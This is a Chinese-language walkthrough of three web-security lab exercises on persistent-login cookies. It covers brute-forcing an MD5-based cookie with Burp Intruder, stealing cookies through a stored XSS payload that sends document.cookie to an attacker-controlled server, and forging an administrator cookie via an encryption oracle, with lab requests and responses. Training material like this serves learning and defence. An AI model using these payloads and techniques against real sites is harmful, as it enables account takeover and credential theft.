Keeping-logged

保持登入狀態是一個常見的功能,這表示在使用者關閉瀏覽器工作階段後也可以保持登入狀態,常見做法是將token儲存在cookie中。

一些網站根據可預測的靜態值串聯(例如使用者名稱和時間戳記)產生此 cookie。有些甚至使用密碼作為 cookie 的一部分。攻擊者一旦研究這些cookie並成功推斷它是如何產生的,就可以嘗試以暴力破解其他使用者的cookie來存取他們的帳戶

常見的情境有以下兩種

  • 可爆力破解cookie密碼
  • 偷cookie取得密碼
  • 推理cookie加解密方式

爆力破解cookie密碼

password編碼存在cookie被發現,可以透過爆力破解猜密碼

舉例如下

某網站cookie內的Stay-logged-in,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter

由此可知格式為base64(username+’:’+md5(Password)),因此可以根據此格式進行爆力密碼破解

假如攻擊目標是carlos,可將帶有Stay logged in的請求送到Burp Intruder,並依照以下配置設定爆力破解

payload type: simple list , 貼上字典檔內容

payloads:Payload processing 區域, 按以下順序增加

Hash: MD5
Add prefix: carlos :
Encode: Base64-encode

發動爆破後,如果看到返回的內容特別長,表示己成功猜到密碼

Lab: Brute-forcing a stay-logged-in cookie


偷cookie取得密碼

password加密方式存在cookie被發現,只要偷到cookie就能知道password

舉例如下

某網站cookieStay-logged-in,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter

由此可知格式為base64(username+’:’+md5(Password)),因此拿到此cookie就能知道帳號密碼

由於該網站的comment有xss漏洞,因此可插入以下語法

<script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>

當受害者訪問到該comment時,就會觸發xss將自己的cookie送到攻擊者主機

攻擊者主機的日志會顯示如下內容

172.31.31.164 2023-09--09 16:40:30 +0000 "GET /secret=eaafj32089ahplihf3804;%20stay-logged-in=eF94mmV7230dy457eOqwfm HTTP/1.1"

stay-logged-in內容用base64解碼後後得到carlos:26323c16d5f4dabff3bb136f2460a943

在把md5字串26323c16d5f4dabff3bb136f2460a943拿去md5線上查詢網站查就可得到密碼onceuponatime

Lab: Offline password cracking


推理cookie加解密方式

有些網站在設計的時候沒有注意到對token的加解密方式,在其他功能也會使用,因此可以利用其他功能去解密token,因此可透過推理token加解密方式繞過認證機制

1.觀察可加解密的功能

留言時的/post/comment 可加密

########### request ###########
POST /post/comment  
...omit...email=Invalid-email

############ response ###########
Set-Cookie: notification=cipher-text(Invalid-email)
...omit...

留言時的/post?postId=1可解密Invalid-email-cipher-text

########### request ###########
GET /post?postId=1
cookie: notification=cipher-text(Invalid-email)
...omit...

############ response ###########
...omit...
Invalid email address:Invalid-email
...omit...

除此之外,留言時的/post?postId=1也可解密stay-logged-in-cookie

########### request ###########
GET /post?postId=1
cookie: notification=stay-logged-in-cookie
...omit...

############ response ###########
...omit...
wiener:1631253288302
...omit...

2.觀察stay-logged-in和email的加解密內容

測試留言時的/post/comment 可否加密administrator:1631253288302

 
########### request ###########
POST /post/comment  
...omit...email=administrator:1631253288302

############ response ###########
Set-Cookie: notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
...omit...

測試留言時的/post?postId=1可否解密cipher-text(administrator:1631253288302)

########### request ###########
GET /post?postId=1
cookie: notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
...omit...

############ response ###########
...omit...
Invalid email address:administrator:1631253288302
...omit...

觀察比較發現,自己加解密多了Invalid email address: ,共有23個字符(含分號和空白),比較如下

使用/post/comment自己加密administrator:1631253288302

  • Cookie內容 u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d
  • 解密返回Invalid email address:administrator:1631253288302

原本stay-logged-in的cookie

  • Cookie內容ajCH8h4j9DGNrMKUj3nHUfVjeU%2fAYWNH92qvzHTSzMs%3d
  • 解密返回wiener:1631253288302

3.調整加密內容

對cookie進行urldecode後在做base64decode,在hex區域刪除23個byte後,做base64encode在做urlencode得到以下

kL2v8vvdti4TYbIKGveKG2Xd0JjFbsg7aB0bteBasYvA7HPoqaCrWGg%3D

嘗試用/post?postId=1解密,但返回錯誤訊息,因為是基於區塊加密法,所以輸入長度必須是16的倍數

########### request ###########
GET /post?postId=1
cookie: notification=kL2v8vvdti4TYbIKGveKG2Xd0JjFbsg7aB0bteBasYvA7HPoqaCrWGg%3D
...omit...

############ response ###########
...omit...
input length must be multiple of 16 when decrypting with padded cipher
...omit...

為了滿足16倍數,因此要administrator:1631253288302前加9個字元

########### request ###########
POST /post/comment  
...omit...email=xxxxxxxxxadministrator:1631253288302

############ response ###########
Set-Cookie: notification=u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d;
...omit...

可以比較和之前的不同之處,如下

  • xxxxxxxxxadministrator:1631253288302加密後如下

u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d

  • administrator:1631253288302加密後如下

u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d

根據比較結果得知,做法應該是要對cookie進行urldecode後在做base64decode,在hex區域刪除32(23+9)個byte後,做base64encode在做urlencode,最後得到7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D

接著嘗試用/post?postId=1解密,成功返回預期結果administrator:1631253288302,這表示偽造administrator的stay-logged-in-cookie成功

########### request ###########
GET /post?postId=1
cookie: notification=7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D
...omit...

############ response ###########
...omit...
administrator:1631253288302
...omit...

因此在請求時把cookie中的stay-logged-in換上7C5ElF0Tjkd669EJbLdrRsRDdV%2ByeJpgh4hblx7W6tw%3D,即可用administrator的身份訪問網站

Lab: Authentication bypass via encryption oracle